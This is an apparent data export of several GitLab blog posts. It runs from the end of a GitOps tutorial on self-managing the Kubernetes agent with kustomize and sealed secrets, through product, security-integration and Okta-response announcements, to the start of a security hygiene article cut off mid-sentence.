ignored/gitlab-agent-token.yaml > packages/gitlab-agent/sealed-secret` in the root of our project. This creates the encrypted secret under `packages/gitlab-agent/sealed-secret/SealedSecret.gitlab-agent-token.yaml`. Now, we need a kustomize layer that will use this secret instead of the original one that came with `kpt`. Let's create the following files around the encrypted secret:\n\n- Create `packages/gitlab-agent/sealed-secret/kustomization.yaml` as:\n\n```yaml\napiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\nresources:\n- ../base\n- SealedSecret.gitlab-agent-token.yaml\ncomponents:\n- ../cluster/components/gitops-read-all\n- ../cluster/components/gitops-write-all\n- ../cluster/components/cilium-alert-read\nconfigurations:\n- configuration/sealed-secret-config.yaml\nsecretGenerator:\n- name: gitlab-agent-token\n  behavior: replace\n  type: Opaque\n  namespace: gitlab-agent\n  options:\n    annotations:\n      sealedsecrets.bitnami.com/managed: \"true\"\n      sealedsecrets.bitnami.com/namespace-wide: \"true\"\n```\n\n- Create `packages/gitlab-agent/sealed-secret/configuration/sealed-secret-config.yaml` as:\n\n```yaml\nnameReference:\n- kind: Secret\n  fieldSpecs:\n  - kind: SealedSecret\n    path: metadata/name\n  - kind: SealedSecret\n    path: spec/template/metadata/name\n```\n\nThis configuration enables us to reference the name of the Sealed Secret in the `secretGenerator`.\n\nWe created a new `kustomize` overlay that builds on the `base` and `cluster` layers, but will use the sealed secret. We can hydrate this into vanilla manifests using `kustomize build packages/gitlab-agent/sealed-secret > kubernetes/gitlab-agent.yaml`. This configuration does not include any unencrypted, sensitive data. As a result, we can commit it freely using `git commit`.\n\n### Adopt the agent by the agent\n\nRight now the agent configuration file looks similar to: \n\n```yaml\ngitops:\n  # Manifest projects are watched by the agent. Whenever a project changes,\n  # GitLab deploys the changes using the agent.\n  manifest_projects:\n  - id: path/to/your/project\n    default_namespace: gitlab-agent\n    # Paths inside of the repository to scan for manifest files.\n    # Directories with names starting with a dot are ignored.\n    paths:\n    - glob: 'kubernetes/test_config.yaml'\n    - glob: 'kubernetes/**/*.yaml'\n```\n\nIf we would push the previously hydrated manifests, `agentk` would fail applying them complaining about missing inventories. We can easily fix this by temporarily setting a looser inventory policy:\n\n```yaml\ngitops:\n  # Manifest projects are watched by the agent. Whenever a project changes,\n  # GitLab deploys the changes using the agent.\n  manifest_projects:\n  - id: path/to/your/project\n    default_namespace: gitlab-agent\n    inventory_policy: adopt_all\n    # Paths inside of the repository to scan for manifest files.\n    # Directories with names starting with a dot are ignored.\n    paths:\n    - glob: 'kubernetes/test_config.yaml'\n    - glob: 'kubernetes/**/*.yaml'\n```\n\nWith the inventory policy configured, we can commit and push our changes to GitLab. The agent will see the new configuration and resources, and will apply them into the cluster. From now on, you can change the code in the repository, push it to git, and the changes will be automatically applied into your cluster.\n\n#### What are inventory policies?\n\nThe GitLab agent for Kubernetes knows about the managed resources using so-called inventory objects. In technical terms, an inventory object is just a `ConfigMap` with a unique label. Whenever the agent sees an object that it should manage, it applies the same label. This way, every agent can easily find the resources that it manages.\n\nYou can read more about the possible [inventory policy configurations in the documentation](https://docs.gitlab.com/ee/user/infrastructure/clusters/deploy/inventory_object.html).\n\n\n#### A word about RBAC\n\nDepending on the authorization rights given to the `agentk` deployment, not every change might be possible. For example, if you would like to create new `ClusterRole` and `ClusterRoleBinding` in a new `kustomize` overlay, and apply that with the Agent, that might fail. It will fail, if your current role-based access control (RBAC) does not allow your `agentk` deployment to create these resources. In this case, you should either provide higher rights to your `agentk` service account first or you should apply the changes manually from your command line.\n\n### Automatic hydration\n\nNow, if you want to change something in your agent deployment, you need to take two actions:\n\n- change the code in the `kpt` package\n- run `kustomize build` to hydrate the results\n\nLet's automate the second step so you can focus on your main job only. Following the setup of [a GitOps-style Auto DevOps pipeline](/blog/gitops-with-gitlab/#hydrating-the-manifests), we need to extend the `hydrate-packages` job:\n\n\n```yaml\nhydrate-packages:\n      ...\n      script:\n      - mkdir -p new_manifests\n      ...\n      - kustomize build packages/gitlab-agent/sealed-secret > new_manifests/gitlab-agent.yaml\n```\n\nWe can re-use all the other automation as presented in the previous articles.\n\n## How to upgrade `agentk`?\n\nJust to provide a practical example, let's see how we can use the above setup to easily upgrade an `agentk` deployment to a newer version.\n\nBy running `kustomize cfg set packages/gitlab-agent agent-version v14.9.1` we set the intended `agentk` version to be version `14.9.1`. You can commit and push this change to git, and lay back in your chair to see how the changes are being rolled out across your clusters. You can point several agent configurations at the same `kubernetes/gitlab-agent.yaml` manifest, and upgrade all of them at once.\n\n## Recap\n\nIn this article we have seen:\n\n- how to turn an Agent deployment to manage itself\n- how to extend the default `kpt` project with a custom `kustomize` overlay to customize the `agentk` deployment\n- how to easily upgrade a set of `agentk` deployments\n- how to pull already existing objects to be managed by the Agent using inventory policies\n\n_Note: This is the final installment in this series of [how to do GitOps with GitLab](/blog/the-ultimate-guide-to-gitops-with-gitlab)._\n\n\n",[534,2509,696],{"slug":14805,"featured":6,"template":678},"gitops-with-gitlab-manage-the-agent","content:en-us:blog:gitops-with-gitlab-manage-the-agent.yml","Gitops With Gitlab Manage The Agent","en-us/blog/gitops-with-gitlab-manage-the-agent.yml","en-us/blog/gitops-with-gitlab-manage-the-agent",{"_path":14811,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14812,"content":14817,"config":14822,"_id":14824,"_type":16,"title":14825,"_source":17,"_file":14826,"_stem":14827,"_extension":20},"/en-us/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab",{"title":14813,"description":14814,"ogTitle":14813,"ogDescription":14814,"noIndex":6,"ogImage":10952,"ogUrl":14815,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14815,"schema":14816},"Comply with NIST's secure software supply chain framework with GitLab","The U.S. government's Secure Software Development Framework has four key practices. GitLab's DevOps platform has features to address them all.","https://about.gitlab.com/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comply with NIST's secure software supply chain framework with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-03-29\",\n      }",{"title":14813,"description":14814,"authors":14818,"heroImage":10952,"date":14819,"body":14820,"category":674,"tags":14821},[3281],"2022-03-29","\nThe U.S. government, in March, released an update to its framework to secure agencies’ software supply chains, which are under [increasing risk of attack](https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/21/statement-by-president-biden-on-our-nations-cybersecurity/). The National Institute of Standards and Technology (NIST) unveiled the Secure Software Development Framework (SSDF) 1.1, which calls for tighter controls throughout the software development lifecycle and describes a set of best practices for organizations – and their third-party suppliers – to follow.\n\nThe [SSDF](https://csrc.nist.gov/News/2022/nist-publishes-sp-800-218-ssdf-v11) focuses on how organizations can protect software supply chains, regardless of technology, platform, programming language, or operating environment, in large part by introducing security early in the DevOps process. There are four key practices:\n\n- prepare the organization\n\n- protect software (all components of the software should be safe from tampering and unauthorized access)\n\n- produce well-secured software (with minimal security vulnerabilities in its releases)\n\n- respond to vulnerabilities\n\n“The goal of the SSDF, in my opinion, is to bring all agencies and their suppliers to the same place in terms of secure software development,” says Joel Krooswyk, senior manager of Solutions Architecture at GitLab. “The framework gets everyone on the same page and speaking the same language, which will inevitably help them to be more effective against whatever threats may come.”\n\nWhile some agencies, such as the Department of Defense and Central Intelligence Agency, might be more sophisticated in the security and compliance of their software supply chains, other public sector organizations are less advanced, using a raft of ad-hoc legacy applications to manually handle vulnerabilities.\n\nThe SSDF undoubtedly will drive all government agencies to direct resources – human and technological – toward [automating supply chain security](/blog/gitlab-supply-chain-security/). To ensure that they meet the measure of the framework without overburdening their teams and budgets, organizations should consider deploying GitLab, a single DevOps platform that has security built in early in the development lifecycle, end-to-end, and with maximum visibility. \n\nHere’s how GitLab addresses the specific practices within the SSDF:\n\n**1. Prepare the organization**\n\nGitLab helps organizations ensure that their people, processes, and technology are prepared to perform security software development, in line with SSDF best practices.\n\nThe GitLab DevOps platform features:\n\n- Strong [policy management](https://docs.gitlab.com/ee/administration/compliance.html) and role-based permissions models with LDAP, single sign-on, and multifactor authentication support\n\n- [Sophisticated security dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) with severity and trends to provide all stakeholders visibility and observability into the software development lifecycle \n\n- Scaled agile process support, which is enabled through epics and issues and other documentation, making for a completely auditable environment\n\n- Simplified implementation of a zero-trust security framework with the DevOps platform\n\n**2. Protect the software**\n\nThe SSDF guides organizations to protect all components of their software from tampering and unauthorized access.\n\nGitLab helps organizations accomplish this through the use of:\n\n- [source code management](https://about.gitlab.com/solutions/source-code-management/)\n\n- commit signatures\n\n- code reviews\n\n- [Hardened containers](/press/releases/2020-07-01-gitlab-announces-hardened-container-image-in-support-of-the-us-department-of-defense-enterprise-devsecops-initiative/)\n\n- role-based, read-only controls\n\n- [Merge-request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) \n\n- [Software Bill of Materials (SBOM)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#cyclonedx-software-bill-of-materials) data per release\n\n- security scanning in [offline environments](https://docs.gitlab.com/ee/user/application_security/offline_deployments/)\n\n**3. Produce well-secured software**\n\nAccording to the SSDF, organizations should produce well-secured software with minimal security vulnerabilities in its releases.\n\nThe GitLab DevOps platform is purpose-built for this best practice and includes:\n\n- credential management\n\n- code reviews and approvals\n\n- centralized mitigation with vulnerability reports\n\n- [security scanning](https://docs.gitlab.com/ee/user/application_security/) (DAST, SAST, fuzz testing, secret detection, and more) that is integrated into the developer workflow\n\n- [continuous compliance](/solutions/compliance/) enforcement capabilities that enable organizations to tailor their pipeline reviews and security scans to all their applicable compliance mandates\n\n- the ability to find and fix vulnerabilities early on in development without building complex integrations\n\n**4. Respond to vulnerabilities**\n\nThe SSDF wants organizations to be able to identify residual vulnerabilities in their software releases and respond appropriately to address those vulnerabilities and prevent similar ones from occurring in the future.\n\nGitLab enables organizations to find and fix vulnerabilities early in the development process. The GitLab DevOps platform also features:\n\n- automatic updates for the Common Vulnerabilities and Exposures (CVE) database\n\n- the ability to contribute/disclose vulnerabilities directly via GitLab\n\n- [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) best practice scanning\n\n- status, severity, and related activity exposed on the [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) page\n\n- integrated learning tools to learn about found vulnerabilities in real-time\n\n- on-demand scanning to look for new vulnerabilities in existing code\n\nUsing GitLab's DevOps platform, government agencies, and their suppliers, can apply the best practices set forth in the SSDF and ensure the software supply chain meets the requirements of other mandates through [continuous compliance](/solutions/compliance/).\n\n[Try GitLab Ultimate for free](/solutions/public-sector/)\n",[943,479,674,185],{"slug":14823,"featured":6,"template":678},"comply-with-nist-secure-supply-chain-framework-with-gitlab","content:en-us:blog:comply-with-nist-secure-supply-chain-framework-with-gitlab.yml","Comply With Nist Secure Supply Chain Framework With Gitlab","en-us/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab.yml","en-us/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab",{"_path":14829,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14830,"content":14835,"config":14840,"_id":14842,"_type":16,"title":14843,"_source":17,"_file":14844,"_stem":14845,"_extension":20},"/en-us/blog/efficient-free-tier",{"title":14831,"description":14832,"ogTitle":14831,"ogDescription":14832,"noIndex":6,"ogImage":12013,"ogUrl":14833,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14833,"schema":14834},"Upcoming changes to user limits on Free tier of GitLab SaaS","5 user limit per top-level group on GitLab SaaS Free tier","https://about.gitlab.com/blog/efficient-free-tier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upcoming changes to user limits on Free tier of GitLab SaaS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-03-24\",\n      }",{"title":14831,"description":14832,"authors":14836,"heroImage":12013,"date":14837,"body":14838,"category":736,"tags":14839},[3532],"2022-03-24","> **2022-11-17 UPDATE:** User limits will be rolled out gradually, impacted users will be notified in-app at least 60 days prior to the user limits being applied to their top-level group. User limits do not apply to top-level groups with public visibility. If you're running an Open Source project, please also consider the [GitLab for Open Source program](/solutions/open-source/) which can provide more CI/CD minutes as well as additional storage.\n\n**What you need to know:**\n- [Top-level private groups](https://docs.gitlab.com/ee/user/group/index.html#namespaces) on the Free tier of GitLab SaaS created on/after 2022-12-28 are subject to the application of user limits. For top-level private groups on the Free tier of GitLab SaaS created before 2022-12-28 we will show in-app notifications for user limits to affected top-level private groups, including any subgroups and projects, prior to the limits being applied. Top-level private groups that are already above the limit will see the in-app notifications at least 60 days ahead of the limits being applied. Top-level private groups that go above the limit during the period when the in-app notifications are showing will see them as soon as they go above the threshold. Note personal namespaces are public and therefore excluded from user limit notification and enforcement.\n- These changes above do not apply to our other plans: Paid SaaS and self-managed subscriptions, Free tier self-managed users, and [Community Programs](/community/), including [GitLab for Education](/solutions/education/), [GitLab for Startups](/solutions/startups/), and [GitLab for Open Source](/solutions/open-source/).\n\nWe continue to look for ways to make DevOps a reality for teams and organizations of all sizes. For users to get started with DevOps, learn GitLab, and develop personal and small projects from idea to production with minimal or no investment, GitLab offers the Free tier. For larger projects with many users or requiring support, GitLab offers Premium and Ultimate paid tiers. For open source projects, startups, and educational usage, GitLab offers a set of [community programs](/community/) tailored to each specific use case.\n\nTo increase efficiency, and ensure we can continue to offer the Free tier to small teams, we are limiting the number of users per top-level group with private visibility on the Free tier to 5 users. We will monitor how top-level groups with public visibility are using private projects to identify whether any limits on such projects are needed. These changes:\n\n- impact fewer than 2% of Free tier users within 0.3% of top-level groups\n- do not apply to paid SaaS and self-managed subscriptions, free tier self-managed users, members of our [community programs](/community/) - including GitLab for Open Source, Education, and Startups users, and top-level groups with public visibility.\n\n## Next Steps\n\nOrganizations and users impacted by this change should consider upgrading to a supported paid tier or switching to the self-managed deployment option which does not have this limit. [GitLab Premium](/pricing/premium/) and Ultimate include features that are essential for growing teams and large scale projects, such as priority support, advanced CI/CD, advanced permission management, security, and compliance. These features enable businesses to ship faster without sacrificing quality. Start a [free trial](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=storage-usage-blog-post) to learn more about the benefits of these two tiers.\n\nFree tier users using GitLab for open source projects should consider applying to the [GitLab for Open Source program](/solutions/open-source/) to benefit from GitLab Ultimate.\n\n## Timeline\n\nThe new user limit on the Free tier of GitLab SaaS will be effective on new and existing Free tier SaaS top-level groups with private visibility starting 2022-10-19. If you need more time to decide, consider starting a [free 30 day trial](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=storage-usage-blog-post) at any time.\n\n## More information\n\nPlease refer to the [FAQ](/pricing/faq-efficient-free-tier) for more information on these changes.\n\nFree tier users can create a thread with their questions/concerns on the space created in the [GitLab Community Forum](https://forum.gitlab.com/t/gitlab-introduces-user-limits-for-free-users-on-saas/64288), which is actively monitored by GitLab team members and product managers involved with this change.\n",[736],{"slug":14841,"featured":6,"template":678},"efficient-free-tier","content:en-us:blog:efficient-free-tier.yml","Efficient Free Tier","en-us/blog/efficient-free-tier.yml","en-us/blog/efficient-free-tier",{"_path":14847,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14848,"content":14853,"config":14857,"_id":14859,"_type":16,"title":14860,"_source":17,"_file":14861,"_stem":14862,"_extension":20},"/en-us/blog/heres-how-to-get-integrated-secure-coding-advice-in-gitlab",{"title":14849,"description":14850,"ogTitle":14849,"ogDescription":14850,"noIndex":6,"ogImage":3431,"ogUrl":14851,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14851,"schema":14852},"How to get integrated secure coding advice in GitLab","Secure Code Warrior now offers integrated security training and guidance within the GitLab DevOps Platform.","https://about.gitlab.com/blog/heres-how-to-get-integrated-secure-coding-advice-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to get integrated secure coding advice in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-03-24\",\n      }",{"title":14849,"description":14850,"authors":14854,"heroImage":3431,"date":14837,"body":14855,"category":736,"tags":14856},[711],"Busy developers want to write secure code and fix any issues. But they often lack the time and resources to get it done efficiently.\n\nTo resolve vulnerabilities faster, developers need actionable advice from trusted sources of secure coding right inside the tools they use every day. [Secure Code Warrior](https://www.securecodewarrior.com/) is proud to partner with GitLab to enable developers to ship safe code faster, utilizing actionable and highly relevant secure coding guidance that is accessible from within GitLab’s [DevOps Platform](/topics/devops-platform/). This integration was announced as part of [GitLab’s 14.9 release](/releases/2022/03/22/gitlab-14-9-released/#integrated-security-training).\n\n## Empower developers with actionable guidance integrated inside GitLab\n\nGitLab is enabling developer-led security by getting scan results into the hands of those who can make fixes fast. Secure Code Warrior further strengthens this vision by bringing to GitLab some of the world’s largest secure coding and remediation content (6500+ interactive coding challenges, 56+ languages:frameworks, 150+ vulnerability categories) that is used by hundreds of thousands of professional developers across many industries. With this integration, secure coding guidance that is highly relevant to the detected vulnerabilities is easily accessible to developers with the click of a link in GitLab.\n\n## How this integration delivers contextual secure coding training\n\nWhen GitLab’s vulnerability scanners detect code security issues in merge requests and/or pipeline scans, a security issue is created and the identified vulnerability descriptions or CWE IDs are added to the Vulnerability Details section. The integration uses the vulnerability information to get a link to learning resources that educate developers on finding and fixing that particular security problem.\n\n![Secure Code Warrior platform](https://about.gitlab.com/images/blogimages/scw1.png)\n\nFor example, if the vulnerability scanners detected a Cross-Site Request Forgery (CSRF) in the application code, the vulnerability detail would be updated with the relevant training link.\n\n## GitLab-Secure Code Warrior integration at a glance\n\nWhen users click on the link, they are taken to SCW’s platform as shown below.\n\n![Secure Code Warrior platform](https://about.gitlab.com/images/blogimages/scw2.png)\n\nBy completing an appropriate challenge they get the trusted guidance to resolve the CSRF vulnerability with confidence. This is also a highly effective way to retain the knowledge because:\n\n- Bite-sized coding challenges give developers targeted, hands-on skill building in that vulnerability, and how to resolve it\n- Contextual learning - presented in manageable chunks - continually reinforces good, secure coding patterns from a trusted source, not just enabling a patch\n- It reduces the time gap between learning and application of knowledge, ensuring lasting engagement and retention\n- Developers grow their muscle memory to recognize security issues while they code, eliminating common vulnerabilities from the start of software creation\n\n## Ship secure code faster with improved merge request rate\n\nAs more teams adopt this workflow path to resolve vulnerabilities faster, they will gradually improve their MR rate and release quality and create secure code at speed. By embedding secure coding training within developer workflows, this integration automates and scales remediation support to all development teams and lets AppSec focus on risk monitoring and strengthening the security posture of the organization.\n\nThe partnership between Secure Code Warrior and GitLab is just getting started; follow us as we enable developers to build and release secure software at speed. We’d love you to try it out, and your feedback can help shape the future of the product.\n\nGet more details on how to [enable this integration](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#enable-security-training-for-vulnerabilities).",[674,4103,942],{"slug":14858,"featured":6,"template":678},"heres-how-to-get-integrated-secure-coding-advice-in-gitlab","content:en-us:blog:heres-how-to-get-integrated-secure-coding-advice-in-gitlab.yml","Heres How To Get Integrated Secure Coding Advice In Gitlab","en-us/blog/heres-how-to-get-integrated-secure-coding-advice-in-gitlab.yml","en-us/blog/heres-how-to-get-integrated-secure-coding-advice-in-gitlab",{"_path":14864,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14865,"content":14870,"config":14877,"_id":14879,"_type":16,"title":14880,"_source":17,"_file":14881,"_stem":14882,"_extension":20},"/en-us/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix",{"title":14866,"description":14867,"ogTitle":14866,"ogDescription":14867,"noIndex":6,"ogImage":11122,"ogUrl":14868,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14868,"schema":14869},"Reducing vulnerability backlog with Rezilion and GitLab","The native integration helps developers detect and remediate vulnerabilities that are exploitable early on in the development process.","https://about.gitlab.com/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's integration with Rezilion reduces vulnerability backlog and identifies exploitable risks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Baksheesh Singh Ghuman\"}],\n        \"datePublished\": \"2022-03-23\",\n      }",{"title":14871,"description":14867,"authors":14872,"heroImage":11122,"date":14874,"body":14875,"category":674,"tags":14876},"How GitLab's integration with Rezilion reduces vulnerability backlog and identifies exploitable risks",[14873],"Baksheesh Singh Ghuman","2022-03-23","\n\nRezilion and GitLab are partnering on an integration that will help resolve the longstanding tension between developers and security teams in organizations around the world. DevOps wants to write code and push new products to innovate and stay competitive. Security teams want to ensure applications are secure and unexploitable so that their organizations stay safe. These two desires often collide as DevOps wants to keep moving and security is seen as a bottleneck to their progress.\n\nTo help developers detect and remediate vulnerabilities early on in the development process and release products quickly and securely, Rezilion’s DevSecOps technology is now natively integrated with GitLab CI.\n\nSome of the key use benefits of this integration are the ability to:\n\n- [Reduce vulnerability backlog by up to 70%](https://www.rezilion.com/wp-content/uploads/2019/11/Rezilion-CARTA-Runtime-Vuln-Memory-Analysis-Report.pdf) and reduce patching efforts by identifying unexploitable vulnerabilities so that developers can fix what matters most and not waste time. \n\n- Prioritize what matters most in your environment to help save developers time and deliver better products faster.\n\n- Remediate significantly faster by integrating Rezilion's capabilities directly into the GitLab development workflow. This allows you to address real threats in a timely manner.\n\n- Gain actionable insights within the GitLab CI pipeline. Non-exploitable vulnerabilities are marked as “false positives” and can be dismissed, while issues can be easily assigned to fix the exploitable ones.\n\n- Identify software components with a dynamic Software Bill of Materials (SBOM), including open source components and their loaded/unloaded status for quick risk view.\n\n- Shift security left by validating vulnerabilities early in the process (right after the build, in the CI pipeline itself as part of tests that are running there). \n\nResults are available within the GitLab Security Dashboard and Vulnerability Management for use within the CI pipeline, at the project level, and across groups of projects.\n\n## Too many vulnerabilities, not enough focus\n\nA growing vulnerability backlog coupled with a lack of clarity on which vulnerabilities to fix – and when – can lead to a range of challenges, including:\n\n- Wasting developers' time\n- Delaying time to market\n- Increasing the likelihood of exploitation due to long remediation timelines\n\nA large vulnerability backlog takes up too much time. Remediating everything is not always realistic, practical, or secure. That’s why Rezilion’s native integration with GitLab CI allows teams to focus on fixing what matters most.\n\n## Enhanced runtime validation to fix what is exploitable \n\nBy integrating Rezilion’s capabilities into GitLab CI, developers now have a more complete and convenient security solution to restore focus on innovation. \n\nUsing Rezilion’s enhanced runtime validation, customers save time by scanning for vulnerabilities, filtering out scan results that do not pose a risk, building efficient remediation plans, and continuing to focus on seamlessly innovating software.\n\nCustomers can also easily visualize what software components are present in their environment – which are loaded to memory and therefore exploitable – by accessing their dynamic SBOM directly from the GitLab UI platform.\n\n\n![Rezilion Enhanced Vulnerability Validation funnel](https://about.gitlab.com/images/blogimages/rezilionfigure1.png){: .shadow}\n\nFigure 1: Enhanced Vulnerability Validation helps you focus on and fix what matters most\n{: .note.text-center}\n\n\n\n![Vulnerability report](https://about.gitlab.com/images/blogimages/rezilionfigure2.png){: .shadow}\n\nFigure 2: The vulnerability report shows a list of vulnerabilities in your pipeline and marks the false positives. Additionally, each row shows when it was detected, its status, severity, and details.\n{: .note.text-center}\n\nWe believe this integration will be very impactful for CISOs, product security team members, and developers who need to focus on innovating and product delivery, without delays due to a vulnerability backlog and cumbersome remediation timelines.\n\nCheckout this video to see Rezilion's GitLab integration in action:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/FXPwn7h8sBc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nGet started today with a free 30-day trial of both \u003Ca href=\"/free-trial/\" data-ga-name=\"free trial\" data-ga-location=\"blog inline\">GitLab Ultimate\u003C/a> and [Rezilion](https://www.rezilion.com/sign-up-for-30day-free-trial/) to experience more efficient software vulnerability management.\n\n\n\n",[674,943,232,736],{"slug":14878,"featured":6,"template":678},"gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix","content:en-us:blog:gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix.yml","Gitlab Rezilion Integration Reduces Vulnerability Backlog Identifies Exploitable Risks To Fix","en-us/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix.yml","en-us/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix",{"_path":14884,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14885,"content":14890,"config":14895,"_id":14897,"_type":16,"title":14898,"_source":17,"_file":14899,"_stem":14900,"_extension":20},"/en-us/blog/action-weve-taken-in-response-to-potential-okta-breach",{"title":14886,"description":14887,"ogTitle":14886,"ogDescription":14887,"noIndex":6,"ogImage":14173,"ogUrl":14888,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14888,"schema":14889},"Action we've taken in response to a potential Okta breach","Actions we've taken to investigate a potential Okta breach.","https://about.gitlab.com/blog/action-weve-taken-in-response-to-potential-okta-breach","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Action we've taken in response to a potential Okta breach\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-03-22\",\n      }",{"title":14886,"description":14887,"authors":14891,"heroImage":14173,"date":14892,"body":14893,"category":674,"tags":14894},[711],"2022-03-22","\n\nThe GitLab Security team is investigating and monitoring the situation surrounding a [possible breach on the Okta platform](https://sec.okta.com/articles/2022/03/official-okta-statement-lapsus-claims) to determine if there are any potential security issues that could have impacted GitLab or our users. **At this time, no malicious activity, exploitation, or indicators of compromise have been identified on GitLab.com.**\n\n## How GitLab uses Okta\nGitLab uses Okta as a [single-sign-on solution for access to various SaaS applications](/handbook/business-technology/okta/#how-is-gitlab-using-okta).\n\n## Actions we have taken\n* We’ve examined our logs, including our Okta logs to verify there has been no malicious activity.\n* We’ve been in contact with Okta and our industry peers to fully understand Okta’s potential breach and the potential impact to GitLab.\n* We’ve developed multiple contingency plans to thwart any potential attack scenarios and help protect GitLab and our users.\n* Out of an abundance of caution we are evaluating additional widespread safeguard measures to further protect our team members’ sensitive credentials.\n\n## Actions recommended for Customers (GitLab.com and Self-Managed)\n* If you use Okta to access your GitLab account, we recommend that you review your Okta logs for suspicious activity and contact Okta support to determine if there are any additional actions you should take with respect to your specific Okta implementation.\n* If you have not already done so, you should add multi-factor authentication (MFA) to your GitLab account.  We recommend enabling MFA on all systems wherever possible. In fact, if given the choice we recommend [U2F](https://en.wikipedia.org/wiki/Universal_2nd_Factor). Learn [how to set up U2F with GitLab](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html#set-up-a-u2f-device).\n* Review our [“Security hygiene best practices for GitLab users”](/blog/security-hygiene-best-practices-for-gitlab-users/) blog post which details simple but effective security practices that GitLab users should consider implementing to add additional layers of protection for themselves and help reduce risk for their organizations. \n\nOur teams are continuing to investigate this situation for possible security issues that may impact our product and customers. If we discover that either our product or customers are at risk, we will update this blog post and notify users via a GitLab security alert. \n\nUsers can sign up to receive security alerts and notifications via email on our [Contact Us page](/company/contact/). If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support).\n",[674],{"slug":14896,"featured":6,"template":678},"action-weve-taken-in-response-to-potential-okta-breach","content:en-us:blog:action-weve-taken-in-response-to-potential-okta-breach.yml","Action Weve Taken In Response To Potential Okta Breach","en-us/blog/action-weve-taken-in-response-to-potential-okta-breach.yml","en-us/blog/action-weve-taken-in-response-to-potential-okta-breach",{"_path":14902,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14903,"content":14908,"config":14914,"_id":14916,"_type":16,"title":14917,"_source":17,"_file":14918,"_stem":14919,"_extension":20},"/en-us/blog/security-hygiene-best-practices-for-gitlab-users",{"title":14904,"description":14905,"ogTitle":14904,"ogDescription":14905,"noIndex":6,"ogImage":14173,"ogUrl":14906,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14906,"schema":14907},"Security hygiene best practices for GitLab users","Security hygiene measures that GitLab.com and Self-managed users should consider implementing.","https://about.gitlab.com/blog/security-hygiene-best-practices-for-gitlab-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Security hygiene best practices for GitLab users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johnathan Hunt\"}],\n        \"datePublished\": \"2022-03-21\",\n      }",{"title":14904,"description":14905,"authors":14909,"heroImage":14173,"date":14911,"body":14912,"category":674,"tags":14913},[14910],"Johnathan Hunt","2022-03-21","\nIt's important to recognize that world events that cause global unrest and uncertainty can lead to an increase in cyberattacks. The GitLab Security department would like to remind our community of some suggested security hygiene measures that users should consider implementing to better protect themselves and reduce risk for their organizations, whether you are a GitLab.com or self-managed user.\n\nYou may have seen coverage of recent cyber attacks in the press focused on the theft of private source code repositories that demand a ransom to prevent their public disclosure. While specific details on how these attacks were successful are not publicly available, our experience and various threat intelligence activities tell us that credential spraying, phishing, malware, and even attempting to purchase insider access are the most likely tactics in use. \n\n* **Credential spraying** is when an attacker uses password lists paired with known username lists to try and brute force accounts. This relies on users making the mistake of reusing passwords or having easily guessed ones. \n\n* **Phishing** is something you are probably very familiar with. It is an attempt to trick someone into taking an action that benefits the attacker in some way. Typically a phishing attempt is designed to capture credentials. A good example of what a phishing attack looks like can be found in [one of our Red Team operations](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes/-/tree/master/RT-011%20-%20Phishing%20Campaign).\n\nFollowing some simple security hygiene tips can go a long 